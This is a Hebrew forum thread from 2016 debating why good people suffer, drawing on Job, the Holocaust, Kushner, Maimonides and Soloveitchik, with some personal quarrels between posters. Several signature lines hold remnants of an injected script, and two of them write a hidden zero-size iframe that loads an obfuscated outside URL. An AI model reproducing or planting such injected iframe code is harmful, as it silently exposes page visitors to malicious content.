|
|
| נשלח ב-3/7/2016 13:11 |
 |
| |
ולשאלה שחכיתי כדי לענות עליה, שאלתו של ת"ט:
סבלות איוב ודור השואה שונים עקרונית מכאב בטן של תינוק שלא חטא?
יתכן שלגבי כאב בטן של תינוק אין כל כך שאלה. בעל חובות הלבבות, אם זכרוני אינו מטעני, כותב שיפה בכי לתינוקות, אולי כיון שזה מפתח להם את מערכת הנשימה.
יש התפתחות שנקנית רק בייסורים וזה טבעו של עולם.
אבל לא בכל מקום יפה תשובתו זו של בעל חובות הלבבות. יש מחלקות בבתי חולים, שאשרי מי שאינו נזקק להגיע לשם, לראות ילדים סובלים.
ביאליק כתב בעקבות פרעות קישינב:
שָׁמַיִם, בַּקְּשׁוּ רַחֲמִים עָלָי! אִם-יֵשׁ בָּכֶם אֵל וְלָאֵל בָּכֶם נָתִיב – וַ אֲ נִ י לֹא מְצָאתִיו – הִתְפַּלְּלוּ אַתֶּם עָלָי! אֲ נִ י – לִבִּי מֵת וְאֵין עוֹד תְּפִלָּה בִּשְׂפָתָי, וּכְבָר אָזְלַת יָד אַף-אֵין תִּקְוָה עוֹד – עַד-מָתַי, עַד-אָנָה, עַד-מָתָי? ...
וְאִם יֶשׁ-צֶדֶק – יוֹפַע מִיָּד! אַךְ אִם-אַחֲרֵי הִשָּׁמְדִי מִתַּחַת רָקִיעַ הַצֶּדֶק יוֹפִיעַ – יְמֻגַּר-נָא כִסְאוֹ לָעַד! ... וְאָרוּר הָאוֹמֵר: נְקֹם! נְקָמָה כָזֹאת, נִקְמַת דַּם יֶלֶד קָטָן עוֹד לֹא-בָרָא הַשָּׂטָן – הקטעים שציטטתי אומרים ברורות, לפי הבנתי, כי לסבלו הבלתי הפיך של ילד קטן אין הצדקה ואין גם שום גמול שיכפר עליו. מי שנוכח בזוועה הזו יגיע למצב שבו אין הוא מסוגל להתפלל. זוהי קריאתי שלי ואני מזהה את התהליך הזה אצל אלי ויזל וניצולי השואה, שהיתה גרועה מכל פוגרום.
 |
|
|
|
|
| נשלח ב-3/7/2016 13:17 |
|
| |
מיימוני
הואיל ותייגו אותי כילדותי, אתנהג כמו ילד, ווטו התחיל.
אני לא מוכן שאף אחד מהמידיינים כאן, כולל ווטו הוותיק, יתייג אנשים שאינם חושבים כמותו כילדותיים.
מאיפה הגאווה הזו? מאהיכן הביטויים הנפוחים כמו הוויה, מה רע בביטויים של כל עם ישראל.
הקושיות הן וודאי חזקות, וייתכן שיש דרכים נוספות להסבירם, ולא מעט ילדים יותר וילדים פחות ניסו את כוחם, אבל דל תיוגים מהכא.
ואחזור על מה שאמרתי. הגישה של שמים בתורה שהיא כביכול הגישה הבוגרת, מציגה כאלו שמים שאולי עדיף לא להזדהות אתם ולא ללמוד ממטרותיהם החינוכיות כביכול.
גישה עקבית, תשלול גם את יציאת מצרים, ואת קיום האבות וכו', כי אין שום סבה הגיונית לומר שגלות מצרים הפריעה לקב"ה, יותר מהשואה. אני מקווה שווטו אינו משקר בתפילתו ואינו אומר זכר ליציאת מצרים, אם כי בוודאי הוא עורך ליל סדר כדי להעביר את השק"קים לדובר הבא כדי שימשיכו לשקק לצאצאיהם.
תוקן על ידי בעלבעמיו ב- 03/07/2016 13:21:25
|
|
|
|
| נשלח ב-3/7/2016 13:17 |
|
| |
מיימוני,
סליחה על מה שאני כותב. אבל, אתה מבין שכל מה שאתה / רמב"ם / וכו' כותבים על א', זה רק השערות-ספקולציות?
|
|
|
|
| נשלח ב-3/7/2016 13:21 |
|
| |
תשובה אפשרית ניתן למצוא בספר מיוחד במינו, "למה קורים דברים רעים לאנשים טובים" שנכתב בידי רבאי רפורמי, הרולד קושנר.
קושנר, שאיבד בן למחלה סופנית, התמודד שנים עם הרגשות הקשים ועם השאלות הפילוסופיות. תשובתו היתה כי ה' ברא את העולם והניח לאדם לפתח אותו, את העולם ואת עצמו.
האדם הצליח רק חלקית. וזו, הוא מציין, לא אשמתו של הבורא.
אני מעתיק כמה קטעים:
למען האמת, יש רק שאלה אחת חשובה: למה דברים רעים קורים לאנשים טובים. כל שאר השיח התאולוגי הוא שעשוע אינטלקטואלי.
האסונות הפוקדים אנשים טובים אינם בבחינת בעיה רק לסובלים ולבני משפחותיהם. הם בעיה לכל מי שרוצה להאמין בעולם צודק והוגן שאפשר לחיות בו. באופן בלתי נמנע הם מעוררים שאלות על טובו של א-לוהים וחסדו, אפילו על עצם קיומו (תרגום בורג, עמ' 34).
והוא משיב:
אם גדלנו, כמו שגדלו איוב ורעיו, על האמונה בא-לוהים חכם, חזק ויודע כל, יהיה לנו קשה - כמו שהיה להם - לשנות את דרך החשיבה שלנו אודותיו, כמו שהיה קשה לנו בילדותנו לתפוס שהורינו אינם כל יכולים, שצריך לזרוק צעצוע שבור מפני שהם לא יכלו לתקן אותו ולא מפני שלא רצו.
(עמ' 67).
הענין הוא שאלוקים אינו מתערב בבריאה. לא יכול? לא רוצה? איני יודע. איני חייב לאמץ את כל הנחותיו, אבל אלו הם דבריו כאן:
ככל שלמדנו יותר על אופן פעולתו של גוף האדם, ככל שאנחנו מבינים יותר את חוקי הטבע המובנים (מלשון הבניה) בעולם, קיבלנו כמה תשובות.
האדם המעשן שתי חפיסות סיגריות ליום במשך עשרים שנה ומפתח סרטן ריאות, ניצב בפני בעיות המעוררות את אהדתנו, אבל אין לו הצדקה לשאול: איך א-לוהים עולל לי את זה.
(עמ' 87).
ומה עם ילדיו של המעשן שספגו עישון פסיבי? ובכן, גם הם באותה חבילה.
אדם קיבל חופש בחירה ועם זה באה אחריות גדולה. אם האדם עושה רע, במזיד או בשוגג או באונס, מישהו משלם מחיר. לפעמים הוא עצמו, לפעמים הקרובים אליו.
זה אומר כמובן להכחיש את ההשגחה הפרטית.
קושנר מצטרף כאן לסדרה של הוגי דעות שדוגלים בגישה שמכנה גילי זיוון "אמונה בלתי אשליתית". יש לה ספר שלם בנושא זה.
תשובתו של קושנר היא טובה, אבל היא לא עולה בקנה אחד עם המקורות המקראיים, בדיוק כפי שתפיסתם של הרמב"ם ווטו אינה עולה עמהם. אבל גם חז"ל התקשו בזה...
האם עדיף להישאר עם שאלה טובה וכואבת שמקשה עלינו להתפלל, או לאמץ תשובה מהסוג של קושנר או ווטו?
האם השאלה האחרונה שלי מעידה שאני מציע התייחסות פרגמטית, לפיה אנו בוחרים את התשובה שאיתה אנו רוצים לחיות? ומה האמת באמת?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-3/7/2016 13:26 |
|
| |
בעל
אני מניח שוטו אכן "משקק" לילדים ומתחיל לומר את האמת לגדולים.
המונח "לשק"ק" הוא נפלא וראוי להכניסו ללכסיקון הפורום.
איני שלם עם גישתו של וטו, ובוודאי לא עם תפיסת האלוקות שלו. אבל אני כן סבור שהוא רשאי פילוסופית להשתמש בטענת הדת הבגרותית. זה נכון שיש אמונות שאדם בוגר יהיה מסוגל יותר להתמודד עמהן מאשר ילד.
אם נאמר לילד שאלוקים אינו מקשיב לתפילה ואינו מעניק גמול מיידי כפי שהוא מבקש וכמו שלמד בגן הילדים, זה ישבור אותו.
אם נציע לאדם מבוגר שעבר מה שעבר את תשובתו של קושנר לגבי האופן שבו ה' מעניק לאדם בחירה חופשית שעולה במחיר אישי של סיכון לאסונות, זה יהיה אחרת.
כשלעצמי אני בהחלט מעדיף להתפלל כילד ולקוות כילד. אבל בתור אדם בוגר אני נאלץ לשאול את עצמי האם העולם באמת מתנהג כמו שהילד רואה או כמו שיש טוענים שהמבוגר רואה.
אינך מסכים לכך שגילאים שונים תופסים דברים בצורה שונה? ומסוגלים לשאת דברים ברמות שונות?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-3/7/2016 13:35 |
|
| |
שלישישי
אתה בהחלט צודק. זה דיון תיאורטי. אמנם יש כאן נסיון ליישב נתונים סותרים. מצד אחד אמונתנו, המגובה בפשטות הטקסט המקראי, שאלוקים גומל לכל אחד כמפעלו. אפילו ספר איוב ניתן להבנה כך שרק עקב הנסיון יש דחיה של השכר הטוב לאיוב.
מצד שני העובדות: בשואה מתו מיליונים. הם כולם היו חייבי מיתה וסבל?
כל אלו הם ניסוחים ומקרים פרטיים של הבעיה הגדולה שנקראת "בעית הרע". הסתירה בין היותו של אלוקים כל יכול וכל יודע וכולו טוב, לבין זה שיש סבל בעולם. ורע.
וכפי שכתב קושנר, זו השאלה הפילוסופית הגדולה ביותר (מבחינות מסויימות).
האם התשובה של קושנר נכונה? של הרמב"ם? של וטו? האם נוכל להאמין, כמו הרמח"ל, שכל מה שקורה הוא בחשבון מדוקדק, ובקץ הימין (סוף ההיסטוריה והגאולה המושלמת) נראה שהכל, כל פרט, כל סבל קטן וגדול, היו מחושבים במידה ותרמו לטוב המושלם?
מתי זו ספקולציה ומתי זו תיאוריה מוכחת? יש לנו רק השערות ורק נסיונות לעשות סדר באמונותינו על פי המסור בידנו ועל פי כללי הלוגיקה ועל פי הנחות נוספות שאנו דולים ממחשבתנו.
אם כוונתך שאין הכרח להאמין שוטו, הרמב"ם המכחיש את ההשגחה הפרטית למתפלל התמים, וטו, המאמין הבלתי אשליתי, קושנר וגם אני לפי מה שכתבתי לעיל - שאין הכרח להאמין שאנו כולנו צודקים בתיאור של העולם הזה כמקום קשה של סבל שבו אי אפשר לצפות לנס - אתה צודק. זו ספקולציה.
ובחיי היום יום שלנו אנו מכירים, סבורני, נסים והשגחה פרטית, ולעתים גם את המקרים שבהם ה' לא קיבל את התפילה. אפשר לטעון שהוא שמע אותה, אבל התשובה שלו לא מצאה חן בעינינו.
אני עצמי סבור שה' כן מאזין לתפילותינו, וכי וטו, למשל, עם תפיסת הווה שלו, חורג מן התפיסה המקראית שהיא גם התפיסה האמיתית לפי ה' יכול לחולל נסים בכל רגע, בכל מקום, לכל אדם.
אז למה ה' נותן לדברים רעים לקרות לאנשים שנחשבים בעינינו לטובים? איני יודע.
אולי באמת ה' כפוף ללוגיקה, ולכן אם ה' מבקש לתת לנו אפשרות לבחור ולהתפתח לפי הכרעותינו, המחיר הוא שאנו משלמים מחיר כבד של מחלות עקב זלזול בבריאות או עקב אי התקדמות הרפואה, וסבל מידי רשעים שה' לא מתערב בבחירותיהם כפי שלא מנע מקין להרוג את הבל ואת האחים מלמכור את יוסף.
אני גם יודע מה שכתבו הרמב"ם והרב סולוביצ'יק, שהשאלה הנכונה היא לא "למה זה קרה" אלא "מה אנו לומדים מזה" ו"איך אפשר להתעורר מזה בתשובה". איך לחפש ואיך לתקן את עצמנו. את עצמי.
האם זה מספיק למי שעבר את השואה? כנראה לא, ולכן אני סבור שאין מה לבוא אל אישים כאלו בטענות על שלא שמרו מצוות באופן הרגיל שאנו משתדלים לשמור.
וכיון שאנו, תודה לה', לא נאלצנו לעמוד בנסיונות נוראים כאלו, ההתמודדות שלנו היא שונה, והדרך שלי להתמודד היא לנהוג לפי העצות שכתבתי כאן בשם הגרי"ד סולוביצ'יק.
ולכן תמיד יש מקום להתפלל ולקוות שהתפילה תישמע.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-3/7/2016 13:38 |
|
| |
מיימוני
הגישה שהצגת תהיה עקבית בתנאי אחד. תפסיק להתפלל.
מה טעם בתפילה שלא נענית? ואם תאמר שהיא באה ללמדנו דעות נכונות, ההיפך הוא נכון היא מלמדת אותנו דעות שקריות. היא נוטעת בנו את האשליה שמישהו מאזין לנו, היא נוטעת בנו את האלשיה שמישהו מנהל את העולם ויש שכר ועונש על מעשים רעים, לא רק על סיגריות.
לשיתטך,התפילה היא אפילו לא חנופה, היא סתם שקר גס, שקר שמופנה לא רק לרבש"ע אלא בעיקר למתפלל.
ומחר בבקר יש עוד חצי שעת שינה.
אני מכיא את דברי הגרי"ד ואלו דברים שאין בהם ממש, כנראה שגם הם תרוץ שלו לשואה, כי אחרת בן אדם ברמתו לא היה כותב כאלו אבסורדים. נעיין בדברי הרמב"ם בהלכות תענית:
א מצות עשה מן התורה, לזעוק ולהריע בחצוצרות על כל צרה שתבוא על הציבור, שנאמר "על הצר הצורר אתכםוהרעותם, בחצוצרות" (במדבר י,ט)כלומר כל דבר שיצר לכם כגון בצורת ודבר וארבה וכיוצא בהן, זעקו עליהן והריעו. ב ודבר זה, דרך מדרכי התשובה הוא: שבזמן שתבוא צרה ויזעקו לה ויריעו, יידעו הכול שבגלל מעשיהם הרעים הרע להןככתוב "עוונותיכם, הטו אלה" (ירמיהו ה,כה) לכם, וזה הוא שיגרום להם להסיר הצרה מעליהם. ד ומדברי סופרים, להתענות על כל צרה שתבוא על הציבור, עד שירוחמו מן השמיים;
כנראה שגם הרמב"ם היה פרימיטבי וילדותי (שכחתי, משנה תורה מיועד לצבור נשים ועמי ארצות)
הדבר הכי מגוחך בגישבה הזו, שצבור יגזור תענית גשמים, יעסקו כל היום בתורה ובחכמה ובסוף היום יגיעו למסקנה שהתענית הייתה בעצם לשווא, והם רק למדו באותו יום שעולם כמנהגו נוהג.
תוקן על ידי בעלבעמיו ב- 03/07/2016 13:42:18
|
|
|
|
|
| נשלח ב-3/7/2016 13:46 |
|
| |
| מיימוני כתב: |  | בעל
איני שלם עם גישתו של וטו, ובוודאי לא עם תפיסת האלוקות שלו. אבל אני כן סבור שהוא רשאי פילוסופית להשתמש בטענת הדת הבגרותית. זה נכון שיש אמונות שאדם בוגר יהיה מסוגל יותר להתמודד עמהן מאשר ילד.
אם נאמר לילד שאלוקים אינו מקשיב לתפילה ואינו מעניק גמול מיידי כפי שהוא מבקש וכמו שלמד בגן הילדים, זה ישבור אותו.
אם נציע לאדם מבוגר שעבר מה שעבר את תשובתו של קושנר לגבי האופן שבו ה' מעניק לאדם בחירה חופשית שעולה במחיר אישי של סיכון לאסונות, זה יהיה אחרת.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אני מבקש דבר אחד, ושוב בצורה הבוטה והגסה ביותר, שווטו יפסיק לדבר בסגנון גאוותני ונפוח.
ניתן לומר את אותם דברים - שאת דעתי עליהם כבר אמרתי - מבלי להשתמש בתיוגים. ואם ככה הוא מדבר לאנשים כואבים אז יפה שתיקתו מדיבורו.
|
|
|
|
| נשלח ב-3/7/2016 14:03 |
|
| |
העיצוב של אלוקים כפי שאנחנו רואים אותו צריך בראש ובראשונה להתבסס על חמישה חומשי תורה. מה אענה ומה אתחוב ראשי בין ההרים, אבל האלוקים בחמישה חומשי תורה מאיים, ומעניש, ומתנה את מטר השמים בנאמנות מוחלטת אליו. אם זו התפיסה שהוא רוצה ליצור - הוא בהחלט הצליח!
|
|
|
|
| נשלח ב-3/7/2016 14:11 |
|
| |
| מיימוני כתב: | | אשר לויכוח הגדול בין בעל לבין וטו, איני מחוייב לתחזק את דברי וטו מה גם שלא ברור שאני מסכים עמהם. אבל אני כן מחוייב למחות על ביטויים חריפים מדי שנקלעו לדברי בעל בעמיו. מחלוקת? בהחלט. ביקורת חריפה? זה כבר לא.
וארשה לעצמי להגיב כעומד מן הצד. בהחלט אפשר לטעון שהחלוקה הזו בין גישה ילדותית לבוגרת היא אשליה, ואולי הסבורים שהם בוגרים המסוגלים להחזיק מעמד עם אמת קשה הם הם הטועים, והם הם המחפשים בעצם להתגאות לעצמם אם לא לאחרים בסגולותיהם. וכמובן, אם חושדים בבעלי שיטה זו שזה אחד המניעים הכמוסים שלהם, אז אפשר לומר זאת לא רק על וטו שלנו אלא גם על הרמב"ם בכבודו ובעצמו. (צאו וראו בהקדמתו למורה נבוכים כיצד הוא מסלק כל מי שאינו ראוי לכבוד הגדול של עיון בספרו).
כמובן מי יודע מה מסתתר בלב האדם, שיש חושדים שהוא "עקוב מכל" (עקום מכל דבר אחר). אבל מהכרותי בת השנים הרבות עם וטו, לפחות וירטואלית, אני יכול להעיד כמדומה שהוא נקי מהמניע הפסול שמייחס לו בעל...
(לא שאני פוסל את הרמב"ם אלא שעל וטו אני יכול להעיד).
לגבי הנימוק של בעל בעמיו כי בתורה יש תמונה הרבה יותר פשטנית זה ודאי נכון. ולא רק אנו מתקשים בשאלה איך ליישב את הבטחות התורה עם מציאות קשה ואפורה או שחורה אלא גם חז"ל התקשו בכך, ולכן אימצו בשלב כלשהו את התשובה של רבי יעקב נכדו של אחר, כי "שכר מצוות בהאי עלמא ליכא" - אין שכר למצוות בעולם הזה. ולכן יתכן שהיטלר יהרוג צדיקים גדולים כי השכר של הצדיקים שמור לעולם הבא ורק לשם.
לפי גישה זו, איזו טענה יכולה להיות לאלי ויזל נגד הקב"ה, לו ולשאר ניצולי שואה שלא אבו ולא יכלו לסלוח לאלוקים? כנראה יש מרחק בין השלמה פילוסופית להשלמה בחיי המעשה עם טרגדיות כה עצומות, ושלא נזדקק לעמוד בנסיון הזה... _________________ שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
אומר לך מה הטענות שיכולות להיות- לא כנגד הקב"ה. אלא כנגד אלו המאמינים ומדריכים בהשגחה הפרטית אם אתה מקבל את דברי רבי יעקב כי שכר מצווה בהאי עלמא ליכא. אז גם עונש בהאי עלמא ליכא. עונש הוא גם שם של שכר.
בנערותי בעירי בגולה חיו בה יהודים שחזרנו מהתופת. אחד מהבחורים התחתן ונולד לו בן למזל טוב, אולם הוא סירב למולו
רב העיר הנדהם נכנס אליו הביתה וניסה לדבר על ליבו. סיפר האבא הצעיר, ראה רבי בשואה ברחתי מהמחנה יחד עם עוד כמה חברים. הסיור הגרמני תפס את אחד מאתנו שלא הספיק להתחבא בצידי הדרך. הבחור היה בלונדיני טען לגרמנים הכי הוא גוי. הגרמני ציווה עליו להוריד את מכנסיו, וגילה שהוא מהול. מיד ירה בו במצח. אז מה רוצה רבי? יצא הרבי שפוף ובוכה ולא הוסיף לדבר כמה ימים.
אני מספר סיפורים איני פילוסוף. אולי המתפלמסים והמדהדרים בחרדיות יכלו לשכנע אותו. הרב לא ניסה .
|
|
|
|
|
| נשלח ב-3/7/2016 14:23 |
|
| |
ואיזו נהימה היה נוהם עליו י"ל, האליל של הבלתי אשליתיים.
|
|
|
|
| נשלח ב-3/7/2016 14:55 |
|
| |
בעל
ייש״כ על העמדת הדברים על מכונם, ההתעקשות הילדותית לרצות להיחשב מאמינים בתורת משה בעוד שאונסים אותה באמונות חדשות לגמרי הופכת לבלתי נסבלת.
האל של התורה הוא אל פרסונלי שכורת ברית עם עמו, כאשר העם אמור להביא את ה״אשה ריח ניחוח״ והוא את הבטחון הכלכלי והמדיני, כל אל אחר הוא יצירת תורה חדשה שאין לה מאומה עם תורת משה.
|
|
|
|
| נשלח ב-3/7/2016 15:07 |
|
| |
ספקן
אני מניח שאתה מתייחס גם לדחיית השכר לעולם הבא.
תוקן על ידי בעלבעמיו ב- 03/07/2016 15:15:08
|
|
|
|
|
| נשלח ב-3/7/2016 15:19 |
|
| |
גם את הדיון הזה לפתוח כאן ?
|
|
|
|
| נשלח ב-3/7/2016 15:20 |
|
| |
בעל
וכבר מזמן גילה אותו זקן י"ל במפורש בכתובים-כי התורה שאנו מאמינים בה אינה תורת משה, ואפילו לא דומה.
כי בעצם איך אפשר להתמודד אם - לא תלין פעילת שכירך. ה' לא מקיים את מה שהוא כתב בתורתו?
|
|
|
|
|
